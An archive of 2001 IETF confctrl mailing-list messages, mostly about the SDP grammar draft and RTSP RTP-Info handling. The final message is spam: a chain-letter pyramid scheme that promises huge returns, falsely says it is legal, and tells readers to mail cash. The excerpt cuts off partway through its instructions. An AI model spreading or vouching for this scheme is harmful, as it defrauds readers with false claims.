> >    multicast-address =   addr "/" ttl [ "/" integer ]
> >                          ;IPv4 multicast addresses must be in the range
> >                          ;224.0.0.0 to 239.255.255.255
> >                          ;IPv6 multicast addresses must begin with the byte
> >                          ;FF or include an IPv4 multicast address
> >
> >    ttl =                 (POS-DIGIT *2DIGIT) | "0"
> >
> >    addr =                IPv4address | IPv6address | FQDN | extension-addr
> >
> >    FQDN =                *( domainlabel "." ) toplabel
> >
> >    domainlabel =         alpha-numeric restoflabel
> >
> >    toplabel =            ALPHA restoflabel
> >
> >    restoflabel =         *(*("-") alpha-numeric)
> >
> >    extension-addr =      non-ws-string
> >
> >    ; generic sub-rules: datatypes
> >    text =                byte-string
> >                          ;default is to interpret this as IS0-10646 UTF8
> >                          ;ISO 8859-1 requires a "a=charset:ISO-8859-1"
> >                          ;session-level attribute to be used
> >
> >    byte-string =         1*(%x01-09|%x0b-0c|%x0e-ff)
> >                          ;any byte except NUL, CR or LF
> >
> >    non-ws-string =       1*(VCHAR|%x80-ff)
> >                          ;string of visible US-ASCII, or high-bit, characters
> >
> >    token-char =          %x21|%x23-27|%x2a-2b|%x2d-2e|%x30-39|
> >                              %x41-5a|%x5e-7e
> >                          ; definition from RFC 2045 -
> >                          ; "any (US-ASCII) CHAR except SPACE, CTLs,
> >                          ; or tspecials".
> >                          ; the tspecials are ()<>@,;:\"/[]?=
> >
> >    token =               1*(token-char)
> >
> >    email-safe =          1*(%x01-09|%x0b-0c|%x0e-27|
> >                             %x2a-3b|%x3d|%x3e-ff)
> >                          ;any byte except NUL, CR, LF, or the quoting
> >                          ;characters ()<>
> >
> >    integer =             POS-DIGIT *DIGIT
> >
> >    ; generic sub-rules: primitives
> >
> >    alpha-numeric =       ALPHA | DIGIT
> >
> >    POS-DIGIT =           %x31-39 ; 1 - 9
> >
> >    ; external references:
> >    ; addr-spec: from draft-ietf-drums-msg-format (RFC822bis)
> >    ; IPv4address, IPv6address: From RFC 2373
> >    ; URI-reference: from RFC 2396, as modified by RFC 2732
> >    ; ALPHA, DIGIT, CRLF, SP, VCHAR: from RFC 2234
> >
> >   ------------------------------------------------------------------------
> >
> > --
> > Jonathan Lennox
> > lennox@cs.columbia.edu

--
Flemming Andreasen
Cisco Systems



From confctrl-owner  Fri Apr 27 09:43:22 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id JAA10957
	for confctrl-outgoing; Fri, 27 Apr 2001 09:43:22 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA10952
	for <confctrl@zephyr.isi.edu>; Fri, 27 Apr 2001 09:43:21 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f3RGhOP27356
	for <confctrl@ISI.EDU>; Fri, 27 Apr 2001 09:43:25 -0700 (PDT)
Received: from conrail.cs.columbia.edu (conrail.cs.columbia.edu [128.59.19.147])
	by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id MAA23046;
	Fri, 27 Apr 2001 12:43:21 -0400 (EDT)
Received: (from lennox@localhost)
	by conrail.cs.columbia.edu (8.9.3/8.9.1) id MAA41332;
	Fri, 27 Apr 2001 12:43:21 -0400 (EDT)
	(envelope-from lennox)
From: Jonathan Lennox <lennox@cs.columbia.edu>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15081.41384.861354.939525@conrail.cs.columbia.edu>
Date: Fri, 27 Apr 2001 12:43:20 -0400 (EDT)
To: Flemming Andreasen <fandreas@cisco.com>
Cc: Renee Revis <drrevis@cisco.com>, confctrl@ISI.EDU,
        Colin Perkins <C.Perkins@cs.ucl.ac.uk>
Subject: Re: Updated ABNF syntax comments
In-Reply-To: <3AE98316.7CAE6765@cisco.com>
References: <200104131933.PAA26260@cisco.com>
	<3AE98316.7CAE6765@cisco.com>
X-Mailer: VM 6.75 under Emacs 19.34.1
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

On Friday, April 27 2001, "Flemming Andreasen" wrote to "Renee Revis, confctrl@ISI.EDU, Colin Perkins, Jonathan Lennox" saying:

> Reposting as I haven't seen any responses.
> 
> Anybody ?
> 
> -- Flemming
> 
> Renee Revis wrote:
> 
> >     I'm just jumping in here, but have a few comments/questions on this
> > updated syntax relative to the current version of draft-ietf-mmusic-sdp-new-01.
> > txt.
> >
> > 1) s= line.  The draft says one and only one s= line is required per
> > session description, but the syntax below shows it as optional.

A mistake.  That line shouldn't be bracketed.  It isn't in 2327.

> > 2) The draft says that either an email field or a phone field must be
> > specified, but this isn't shown in the syntax below.  I'm not suggesting
> > that it should be.  My take would be to remove this requirement from the
> > text.

There's no terribly clean way in BNF to specify "at least one" of two
fields.  (I guess you could do "(e|p|e p)", but that's ugly.)  Better to
make it a semantic requirement.

> > 3) Multiple b= lines are allowed by the syntax at either the session
> > level or the media levels, but there is no mention in the draft of how
> > an application should interpret this.  Are multiple b= lines really
> > allowed at each level?  If so, what is the intended meaning, in
> > particular if the same modifier is specified more than once?  If this
> > is allowed, it might be good to mention this case in the draft.

I have no idea -- this is copied literally from 2327.  Anyone?

> > 4) The m= media line shows the port as allowing only one '/' character.
> > Some transport types may want to allow more than that - e.g. for some
> > ATM transport types.  May want to modify this to:
> >     port *("/" integer)  instead of port ["/" integer ]

I'm fine with this, if other people are.  There would need to be discussion
of what syntaxes are meaningful for what nettypes.

> > Also with this, I'm curious as to why the port rule specifies 1*DIGIT
> > instead of integer as in the media-field rule.

"integer" is non-zero in SDP.  Port zero is used for some things as an
exception case.  (E.g. 0.0.0.0 0 for "hold" in SIP.)

> > 5) As for the proto rule, I would vote for the latter option - i.e.,
> > token *("/" token).  The other, 1*(token-char|"/"), would allow /AVP which I
> > don't think is really intended.

Works for me.

-- 
Jonathan Lennox
lennox@cs.columbia.edu

From confctrl-owner  Mon Apr 30 15:12:42 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id PAA01574
	for confctrl-outgoing; Mon, 30 Apr 2001 15:12:42 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id PAA01569
	for <confctrl@zephyr.isi.edu>; Mon, 30 Apr 2001 15:12:41 -0700 (PDT)
Received: from east.isi.edu (east.isi.edu [38.245.76.2])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f3UMChP29302
	for <confctrl@isi.edu>; Mon, 30 Apr 2001 15:12:45 -0700 (PDT)
Received: from chiron.east.isi.edu (chiron.east.isi.edu [38.218.19.204])
	by east.isi.edu (8.9.2/8.9.2) with ESMTP id SAA07367
	for <confctrl@isi.edu>; Mon, 30 Apr 2001 18:12:32 -0400 (EDT)
Received: from chiron (csp@localhost)
	by chiron.east.isi.edu (8.11.0/8.11.0) with ESMTP id f3UMCgu03312
	for <confctrl@isi.edu>; Mon, 30 Apr 2001 18:12:42 -0400
Message-Id: <200104302212.f3UMCgu03312@chiron.east.isi.edu>
To: confctrl@ISI.EDU
Subject: draft-ietf-mmusic-sdp-new-02.txt submitted
Date: Mon, 30 Apr 2001 18:12:42 -0400
From: Colin Perkins <csp@ISI.EDU>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I've just submitted draft-ietf-mmusic-sdp-new-02.txt to the internet-drafts
archive, it should appear in a day or so. This is a revision to the basic
SDP spec, the changes include:

 - References updated
 - Section 3.1 replaced with a reference to RFC 2119
 - Use of "application/sdp" as MIME type: SHOULD -> MUST
 - Section 4 now mentions use of SIP and RTSP
 - Section 5.3 now mentions SIP and is less SAP centric
 - Section 6 comments about bandwidth limits rewritten to be less SAP
   specific
 - The section on concatenation of session descriptions (not allowed in
   SAP, allowed in other cases) has been removed. Assume transports of SDP
   specify this?
 - Section 6 has MUST, SHOULD, etc. Please comment.
 - c= talked about how "typically the address is a class D multicast
   address". Made less Mbone specific, to reflect common use of SDP.
 - b= no longer makes a normative reference to the Mbone FAQ for bandwidth
   limits at various TTLs :)
 - m= define relation to MIME types

Still to do:
 - Merge draft-olson-sdp-ipv6-00.txt 
 - Bug fixes to the grammar
 - e= and p= and mandatory, should they be?
 - Clarify relation between b= and RTP session bandwidth
 - What about wrap-around of NTP timestamps in t=?
 - Discussion in t= seems too focussed on SAP
 - Which suggested attributes are mandatory to support, which are optional?
 - Appendix B needs reconciling with MIME types
 - How do m= media types relate to MIME top-levels?

Comments and suggestions are welcome... this is work in progress.

Cheers,
Colin

From confctrl-owner  Mon Apr 30 16:22:38 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id QAA06873
	for confctrl-outgoing; Mon, 30 Apr 2001 16:22:38 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id QAA06866
	for <confctrl@zephyr.isi.edu>; Mon, 30 Apr 2001 16:22:36 -0700 (PDT)
Received: from auemail2.firewall.lucent.com (auemail2.lucent.com [192.11.223.163])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f3UNMRP15185
	for <confctrl@isi.edu>; Mon, 30 Apr 2001 16:22:27 -0700 (PDT)
Received: from auemail2.firewall.lucent.com (localhost [127.0.0.1])
	by auemail2.firewall.lucent.com (Switch-2.1.1/Switch-2.1.0) with ESMTP id f3UNMQ405541
	for <confctrl@isi.edu>; Mon, 30 Apr 2001 19:22:26 -0400 (EDT)
Received: from wink.ho.lucent.com (h135-17-38-3.lucent.com [135.17.38.3])
	by auemail2.firewall.lucent.com (Switch-2.1.1/Switch-2.1.0) with ESMTP id f3UNMQX05529
	for <confctrl@isi.edu>; Mon, 30 Apr 2001 19:22:26 -0400 (EDT)
Received: by wink.ho.lucent.com (8.9.3+Sun/EMS-1.5 sol2)
	id TAA08016; Mon, 30 Apr 2001 19:22:24 -0400 (EDT)
Received: from lucent.com by wink.ho.lucent.com (8.9.3+Sun/EMS-1.5 sol2)
	id TAA08012; Mon, 30 Apr 2001 19:22:24 -0400 (EDT)
Message-ID: <3AEDF33D.C617D50E@lucent.com>
Date: Mon, 30 Apr 2001 19:20:29 -0400
From: Troy Cauble <troy@lucent.com>
Reply-To: Troy Cauble <troy@bell-labs.com>
X-Mailer: Mozilla 4.75 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: truncated document sdp-new-01.txt
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


The document 

http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-new-01.txt

seems to be truncated.

-troy

From confctrl-owner  Mon Apr 30 17:00:05 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id RAA09364
	for confctrl-outgoing; Mon, 30 Apr 2001 17:00:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id RAA09359
	for <confctrl@zephyr.isi.edu>; Mon, 30 Apr 2001 17:00:03 -0700 (PDT)
Received: from auemail2.firewall.lucent.com (auemail2.lucent.com [192.11.223.163])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f41007P21433
	for <confctrl@isi.edu>; Mon, 30 Apr 2001 17:00:07 -0700 (PDT)
Received: from auemail2.firewall.lucent.com (localhost [127.0.0.1])
	by auemail2.firewall.lucent.com (Switch-2.1.1/Switch-2.1.0) with ESMTP id f41006419288
	for <confctrl@isi.edu>; Mon, 30 Apr 2001 20:00:06 -0400 (EDT)
Received: from wink.ho.lucent.com (h135-17-38-3.lucent.com [135.17.38.3])
	by auemail2.firewall.lucent.com (Switch-2.1.1/Switch-2.1.0) with ESMTP id f41006X19280
	for <confctrl@isi.edu>; Mon, 30 Apr 2001 20:00:06 -0400 (EDT)
Received: by wink.ho.lucent.com (8.9.3+Sun/EMS-1.5 sol2)
	id UAA10382; Mon, 30 Apr 2001 20:00:04 -0400 (EDT)
Received: from lucent.com by wink.ho.lucent.com (8.9.3+Sun/EMS-1.5 sol2)
	id UAA10378; Mon, 30 Apr 2001 20:00:04 -0400 (EDT)
Message-ID: <3AEDFC12.2DA3D456@lucent.com>
Date: Mon, 30 Apr 2001 19:58:10 -0400
From: Troy Cauble <troy@lucent.com>
Reply-To: Troy Cauble <troy@bell-labs.com>
X-Mailer: Mozilla 4.75 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: MMUSIC WG <confctrl@ISI.EDU>
Subject: Re: Revised SDP Grammar
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Jonathan,


(many uses of CRLF)

...

>    ; external references:
>    ; addr-spec: from draft-ietf-drums-msg-format (RFC822bis)
>    ; IPv4address, IPv6address: From RFC 2373
>    ; URI-reference: from RFC 2396, as modified by RFC 2732
>    ; ALPHA, DIGIT, CRLF, SP, VCHAR: from RFC 2234


The definition of CRLF in RFC 2234 is

        CRLF =  CR LF                             
                               ; Internet standard newline

Could we consider replacing the use of CRLF with the following?

	EOL = (CR [LF] / LF )

I'm sure there are a lot of implementations out there that
don't really send "CRLF".

-troy

From confctrl-owner  Tue May  1 21:27:40 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id VAA11140
	for confctrl-outgoing; Tue, 1 May 2001 21:27:40 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id VAA11135
	for <confctrl@zephyr.isi.edu>; Tue, 1 May 2001 21:27:39 -0700 (PDT)
Received: from web13404.mail.yahoo.com (web13404.mail.yahoo.com [216.136.175.62])
	by tnt.isi.edu (8.11.2/8.11.2) with SMTP id f424RhP23754
	for <confctrl@isi.edu>; Tue, 1 May 2001 21:27:44 -0700 (PDT)
Message-ID: <20010502042739.76808.qmail@web13404.mail.yahoo.com>
Received: from [134.134.248.27] by web13404.mail.yahoo.com; Tue, 01 May 2001 21:27:39 PDT
Date: Tue, 1 May 2001 21:27:39 -0700 (PDT)
From: Yasser Rasheed <ymrasheed@yahoo.com>
Subject: Standard-based vs. proprietary real-time streaming protocols
To: rem-conf@es.net, confctrl@ISI.EDU
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello,
I am looking for information on streaming and stream
control protocols typically used in audio and video
streaming over the Internet. In particular, I am
looking for percentages of standards-based protocols
such as RTP for streaming and RTSP for Stream control
vs. proprietary streaming, such as PNM and MMS. 

Thank you.

Yasser

__________________________________________________
Do You Yahoo!?
Yahoo! Auctions - buy the things you want at great prices
http://auctions.yahoo.com/

From confctrl-owner  Wed May  2 04:37:22 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id EAA03024
	for confctrl-outgoing; Wed, 2 May 2001 04:37:22 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA03019
	for <confctrl@zephyr.isi.edu>; Wed, 2 May 2001 04:37:21 -0700 (PDT)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f42BbQP11584
	for <confctrl@isi.edu>; Wed, 2 May 2001 04:37:27 -0700 (PDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA06175;
	Wed, 2 May 2001 07:37:24 -0400 (EDT)
Message-Id: <200105021137.HAA06175@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sdp-new-02.txt
Date: Wed, 02 May 2001 07:37:24 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: SDP: Session Description Protocol
	Author(s)	: M. Handley, V. Jacobson, C. Perkins
	Filename	: draft-ietf-mmusic-sdp-new-02.txt
	Pages		: 42
	Date		: 01-May-01
	
This memo defines the Session Description Protocol (SDP). SDP
is intended for describing multimedia sessions for the
purposes of session announcement, session invitation, and
other forms of multimedia session initiation.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-new-02.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sdp-new-02.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sdp-new-02.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20010501140713.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sdp-new-02.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sdp-new-02.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20010501140713.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Thu May  3 17:10:49 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id RAA02998
	for confctrl-outgoing; Thu, 3 May 2001 17:10:49 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id RAA02993
	for <confctrl@zephyr.isi.edu>; Thu, 3 May 2001 17:10:48 -0700 (PDT)
Received: from www0h.netaddress.usa.net (www0h.netaddress.usa.net [204.68.24.37])
	by tnt.isi.edu (8.11.2/8.11.2) with SMTP id f440AtP07629
	for <confctrl@isi.edu>; Thu, 3 May 2001 17:10:55 -0700 (PDT)
Received: (qmail 16490 invoked by uid 60001); 4 May 2001 00:10:50 -0000
Message-ID: <20010504001050.16489.qmail@www0h.netaddress.usa.net>
Received: from 204.68.24.37 by www0h for [63.206.78.197] via web-mailer(34FM.0700.17C.01) on Fri May  4 00:10:50 GMT 2001
Date:  3 May 2001 17:10:50 PDT
From: Ethendra Bommaiah <ethenb@usa.net>
To: confctrl@ISI.EDU
Subject: RTSP question.
X-Mailer: USANET web-mailer (34FM.0700.17C.01)
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id RAA02994
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Can/Should the RTSP server send RTP-Info (with RTP timestamp and sequence
number info) in the response for every PLAY request as and when it
receives the request (with pipelining, for example) ? This would mean that
the server would use the RTP timestamp and sequence number from its
RTP-Info response whenever it starts streaming data for a new PLAY
request. In this case, RTP timestamps and RTP sequence numbers will not be
continuous across jumps of NPT as required in appendix B of RFC 2326.

In appendix B, it is also stated that the RTSP client and media agent need
not communicate with each other -- in this case, it seems to me that
RTP-Info has no significance. If RTP-Info header is not sent, how does the
client know the beginning of a Range in case of pipelined PLAY requests ?

In light of the above, what is the significance of the RTP-Info header ?

Thanks,
Ethen


____________________________________________________________________
Get free email and a permanent address at http://www.netaddress.com/?N=1

From confctrl-owner  Thu May  3 17:59:23 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id RAA06902
	for confctrl-outgoing; Thu, 3 May 2001 17:59:23 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id RAA06896
	for <confctrl@zephyr.isi.edu>; Thu, 3 May 2001 17:59:22 -0700 (PDT)
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f440xSP17714
	for <confctrl@ISI.EDU>; Thu, 3 May 2001 17:59:29 -0700 (PDT)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA21490
	for <confctrl@ISI.EDU>; Thu, 3 May 2001 17:59:27 -0700 (PDT)
Received: from floyd.eng.sun.com (floyd.Eng.Sun.COM [10.6.83.22])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA27509
	for <confctrl@ISI.EDU>; Thu, 3 May 2001 17:59:27 -0700 (PDT)
Received: from floyd (localhost [127.0.0.1])
	by floyd.eng.sun.com (8.9.3+Sun/8.9.1) with ESMTP id RAA29076
	for <confctrl@ISI.EDU>; Thu, 3 May 2001 17:59:27 -0700 (PDT)
Message-Id: <200105040059.RAA29076@floyd.eng.sun.com>
To: confctrl@ISI.EDU
Subject: Re: RTSP question. 
In-Reply-To: Message from Ethendra Bommaiah <ethenb@usa.net> 
   of "03 May 2001 17:10:50 PDT." <20010504001050.16489.qmail@www0h.netaddress.usa.net> 
From: Jonathan Sergent <sergent@eng.sun.com>
Date: Thu, 03 May 2001 17:59:27 -0700
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

/// Ethendra Bommaiah <ethenb@usa.net>:
 ] Can/Should the RTSP server send RTP-Info (with RTP timestamp and sequence
 ] number info) in the response for every PLAY request as and when it
 ] receives the request (with pipelining, for example) ? This would mean that
 ] the server would use the RTP timestamp and sequence number from its
 ] RTP-Info response whenever it starts streaming data for a new PLAY
 ] request. In this case, RTP timestamps and RTP sequence numbers will not be
 ] continuous across jumps of NPT as required in appendix B of RFC 2326.

The only way you can implement the spec as is is if the server is smart
enough to know at PLAY response time what the sequence number and
timestamp of the first packet it will send is.  Timestamp should not be
too hard to calculate, since you know the NPT time when the current
PLAY will end, the current NPT time, the current RTP time, and how to
convert from NPT to RTP.  But determining the sequence number of the
first packet to be sent is clearly not possible (or very expensive) in
some cases.

My recollection is that this was identified as a problem at the RTSP
bakeoff.  At that point I don't believe anyone had implemented the
protocol feature in question.

 ] In appendix B, it is also stated that the RTSP client and media agent need
 ] not communicate with each other -- in this case, it seems to me that
 ] RTP-Info has no significance. If RTP-Info header is not sent, how does the
 ] client know the beginning of a Range in case of pipelined PLAY requests ?

RTP-Info is only useful for integrated RTSP/RTP clients, so you can't
if they aren't communicating.  The client needs it to map RTP
timestamps to NPT (including the jump in NPT that happens during a
seek) for things like user interface controls.  You might want accurate
determination of pre-seek and post-seek packets for some payload
types.  You can't do this with RTSP if you have separate RTSP and RTP
clients.

There's a payload under development (Harrison, "RTP Payload Format for
Timing Information Stream (TIS)"; see message sent to the AVT alias in
March) for sending timing information streams as separate RTP packets.
This would seem to address the problem in yet another way.


-- 
Jonathan Sergent / sergent@Eng.Sun.COM

From confctrl-owner  Sun May  6 18:28:43 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id SAA03457
	for confctrl-outgoing; Sun, 6 May 2001 18:28:43 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id SAA03452
	for <confctrl@zephyr.isi.edu>; Sun, 6 May 2001 18:28:42 -0700 (PDT)
Received: from mailf.telia.com (mailf.telia.com [194.22.194.25])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f471SnP23048
	for <confctrl@isi.edu>; Sun, 6 May 2001 18:28:49 -0700 (PDT)
Received: from d1o32.telia.com (d1o32.telia.com [194.236.208.241])
	by mailf.telia.com (8.11.2/8.11.0) with ESMTP id f471SlI01649
	for <confctrl@isi.edu>; Mon, 7 May 2001 03:28:47 +0200 (CEST)
Received: from athena (h30n2fls22o913.telia.com [213.66.205.30])
	by d1o32.telia.com (8.10.2/8.10.1) with ESMTP id f471Sk824008
	for <confctrl@isi.edu>; Mon, 7 May 2001 03:28:46 +0200 (CEST)
Message-ID: <25702200151712755440@athena>
X-EM-Version: 5, 0, 0, 19
X-EM-Registration: #01B0530810E603002D00
X-Priority: 3
X-MSMail-Priority: Normal
From: fine_fortune@hotmail.com
To: confctrl@ISI.EDU
Subject: The results of technology
Date: Mon, 7 May 2001 03:27:55 +0200
MIME-Version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id SAA03453
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>

Proven Online Income Method

Hello Friends, I am an IT Manager making $50,000+ a year,
but I want to show you what I do for fun, which will make me
an ADDITIONAL $250,000 THIS YEAR ALONE....and it takes only
a fraction of the time that you and I spend at our regular jobs.
Basically, I send out as many of these emails as I can, then
people send me cash in the mail for information that I just
email back to them. Every day, I walk out to my mailbox
knowing that there are at least a few hundred dollars
waiting for me. And the best part, IT IS COMPLETELY LEGAL.
Just read the next few pages and see what you think.
If you like what you read, great....If you don't, read it again
because you must have missed something.

        WildCard

DEAR FRIENDS AND FUTURE MILLIONAIRES:
AS SEEN ON NATIONAL TV:

"Making over half million dollars every 4 to 5 months from your
home for an investment of only $25 US Dollars expense one time.

THANKS TO THE COMPUTER AGE AND THE INTERNET!
BE A MILLIONAIRE LIKE OTHERS WITHIN A YEAR!!!

Before you say "Bull", please read the following.
This is the letter you have been hearing about on the news
lately. Due to the popularity of this letter on the Internet, a
national weekly news program recently devoted an entire show to
the investigation of this program described below, to see if it
really can make people money. The show also investigated whether
or not the program was legal. Their findings proved once and for
all that there are "absolutely NO laws prohibiting the
participation in the program and if people can follow the simple
instructions, they are bound to make some mega bucks with only
$25 out of pocket cost".

DUE TO THE RECENT INCREASE OF POPULARITY & RESPECT THIS
PROGRAM HAS ATTAINED, IT IS CURRENTLY WORKING BETTER THAN
EVER.

This is what one had to say: "Thanks to this profitable
opportunity. I was approached many times before but each time I
passed on it. I am so glad I finally joined just to see what one
could expect in return for the minimal effort and money required.
To my astonishment, I received a total $610,470.00 in 21 weeks,
with money still coming in."

Pam Hedland, Fort Lee, New Jersey.

PRINT THIS NOW FOR YOUR FUTURE REFERENCE
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
If you would like to make at least $500,000 every
4 to 5 months easily and comfortably, please read
the following, THEN READ IT AGAIN AND AGAIN!!
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

FOLLOW THE SIMPLE INSTRUCTIONS BELOW AND YOUR FINANCIAL
DREAMS WILL COME TRUE, GUARANTEED!

INSTRUCTIONS:

===========Order all 5 reports shown on the list below=====

For each report, send $5 CASH, THE NAME & NUMBER OF THE REPORT
YOU ARE ORDERING AND YOUR E-MAIL ADDRESS to the person whose name
appears ON THAT LIST next to the report. MAKE SURE YOUR RETURN
ADDRESS IS ON YOUR ENVELOPE TOP LEFT CORNER in case of any mail
problems. When you place your order, make Sure you order each of
the 5 reports. You will need all 5 reports so that you Can save
them on your computer and resell them.

YOUR TOTAL COST... $ 5 X 5 = $ 25.00. Within a few days you will
receive, via e-mail, each of the 5 reports from these 5 different
individuals. Save them on your computer so they will be
accessible for you to send to the 1,000's of people who will
order them from you. Also make a floppy of these reports and keep
it on your desk in case something happens to your computer.

IMPORTANT: DO NOT alter the names of the people who are listed
next to each report, or their sequence on the list, in any way
other than what is instructed below in each step "1 through 6" or
you will lose out on majority of your profits.
Once you understand the way this works, you will also see how
it does not work if you change it. Remember, this method has been
tested, and if you alter, it will NOT work!! People have tried to
put their friends/relatives names on all five thinking they could
get all the money. But it does not work this way. Believe us, we
all have tried to be greedy and then nothing happened. So Do Not
try to change anything other thanwhat is instructed, because if
you do, it will not work for you.

        Remember, honesty reaps the reward!!!

1. After you have ordered all 5 reports, take this advertisement
and REMOVE the name & address of the person in REPORT # 5. This
person has made it through the cycle and is no doubt counting
their fortune.

2. Move the name & address in REPORT # 4 down to report # 5.

3. Move the name & address in REPORT # 3 down to report # 4.

4. Move the name & address in REPORT # 2 down to report # 3.

5. Move the name & address in REPORT # 1 down to report # 2.

